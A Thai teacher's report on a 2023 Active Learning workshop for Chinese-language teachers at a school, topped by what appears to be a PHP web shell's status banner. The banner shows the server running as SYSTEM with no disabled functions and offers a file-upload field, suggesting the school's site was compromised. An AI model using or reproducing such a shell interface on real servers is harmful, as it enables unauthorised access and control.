| Server IP : 172.67.187.206 / Your IP : 162.159.115.42 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/myschool/krabyai/data/tkk1text/ |
Upload File : |
<p> เนื่องด้วยศูนย์ HCEC โรงเรียนราชโบริกานุเคราะห์ได้จัดการอบรมเชิงปฏิบัติการเพื่อพัฒนาการจัดการเรียนรู้แบบActive Learning สำหรับครูผู้สอนภาษาจีน ในวันที่ 10 มิถุนายน 2566 ตั้งแต่เวลา 8.30 - 16.30 น. ณ ห้องประชุมสัตตบุษย์ อาคาร 8 ชั้น 2 โรงเรียนราชโบริกานุเคราะห์ โดยมีวิทยากรคือ อาจารย์ทิมทอง นาถจำนง หัวหน้าสาขาวิชาการสอนภาษาจีน คณะการจัดการการศึกษาเชิงสร้างสรรค์ สถาบันการจัดการปัญญาภิวัฒน์ (PIM) ซึ่งข้าพเจ้านางสาวกัณต์กนิษฐ์ เรืองยินดี และนางสาวมณีรัตน์ พิษณุ ได้รับมอบหมายให้เข้าร่วมการอบรมในครั้งนี้</p> <p> บัดนี้ข้าพเจ้าได้เข้ารับการฝึกอบรมหลักสูตรดังกล่าวเรียบร้อยแล้ว จึงขอรายงานสรุปผลการฝึกอบรมให้ทราบ ดังนี้</p> <p>1. การอบรมดังกล่าวมีวัตถุประสงค์เพื่อ ต้องการพัฒนาสมรรถนะครูผู้สอนภาษาจีนให้มีทักษะการจัดการเรียนรู้แบบ Active Learning ที่เน้นผู้เรียนเป็นสำคัญ </p> <p>2. เนื้อหา และหัวข้อของหลักสูตรการฝึกอบรม สรุปสาระสำคัญได้ดังนี้</p> <p> - การจัดการเรียนการสอนควรเน้นผู้เรียนเป็นสำคัญ โดยมีหลักการดังนี้</p> <p>ผู้สอน ควรเป็นมีบทบาทเป็นผู้อำนวยการการเรียนรู้ facilitator</p> <p>รูปแบบการเรียน มีวิธีการหลากหลายเช่น PJBL PBL </p> <p>ปฏิสัมพันธ์ ระหว่างครู และ ศิษย์ ผู้เรียน และ ผู้เรียนด้วยกันเอง มีผลต่อการเรียนรู้ทั้งสิ้น</p> <p>ภาระงาน ควรเอื้อต่อการเรียนรู้รายบุคคล</p> <p>บรรยากาศในชั้นเรียน ควรเอื้อต่อการเรียนรู้</p> <p>การวัดประเมินผล ควรสอดคล้องกับบริบทผู้เรียนและจุดประสงค์การเรียนรู้</p> <p>การสะท้อนคิด ควรมีเพื่อพัฒนา สร้างสรร และทั่วถึง</p> <p>3. ประโยชน์ที่ได้รับจากการฝึกอบรม</p> <p> - ต่อตนเอง ได้พัฒนาการจัดการเรียนการสอน โดยสอดแทรกกิจกรรมที่พัฒนาผู้เรียนได้อย่างตรงวัตถุประสงค์</p> <p> - ต่อหน่วยงาน ผู้เรียนมีผลสัมฤทธิ์ทางการเรียนที่ดีขึ้น เนื่องจากได้เรียนรู้อย่างเหมาะสมและตรงจุด</p> <p>4. แนวทางในการนำความรู้ ทักษะที่ได้รับจากการฝึกอบรมในครั้งนี้ ไปปรับใช้ให้เกิดประโยชน์แก่หน่วยงาน</p> <p> นำแนวทางการจัดการเรียนรู้แบบ Active Learning ไปปรับใช้ในการจัดการเรียนรู้ทุกรายวิชาที่สอน เพื่อพัฒนาผู้เรียนและผลสัมฤทธิ์ของผู้เรียนให้เพิ่มขึ้นอย่างยั่งยืน</p> <p>5. ปัญหาและอุปสรรคที่คาดว่าจะเกิดขึ้นจากการนำความรู้และทักษะที่ได้รับไปปรับใช้ในการปฏิบัติงาน เนื่องจากเวลาการจัดการเรียนการสอนมีจำกัด การจัดกิจกรรมที่ตอบโจทย์จุดประสงค์การเรียนรู้อาจจะต้องใช้ระยะเวลาในการจัดกิจกรรมมากกว่าปกติ ทำให้ต้องมีการออกแบบกิจกรรมใหม่เพื่อให้ครอบคลุมจุดประสงค์การเรียนรู้มากขึ้นแต่ใช้เวลาน้อยลง</p> <p> </p>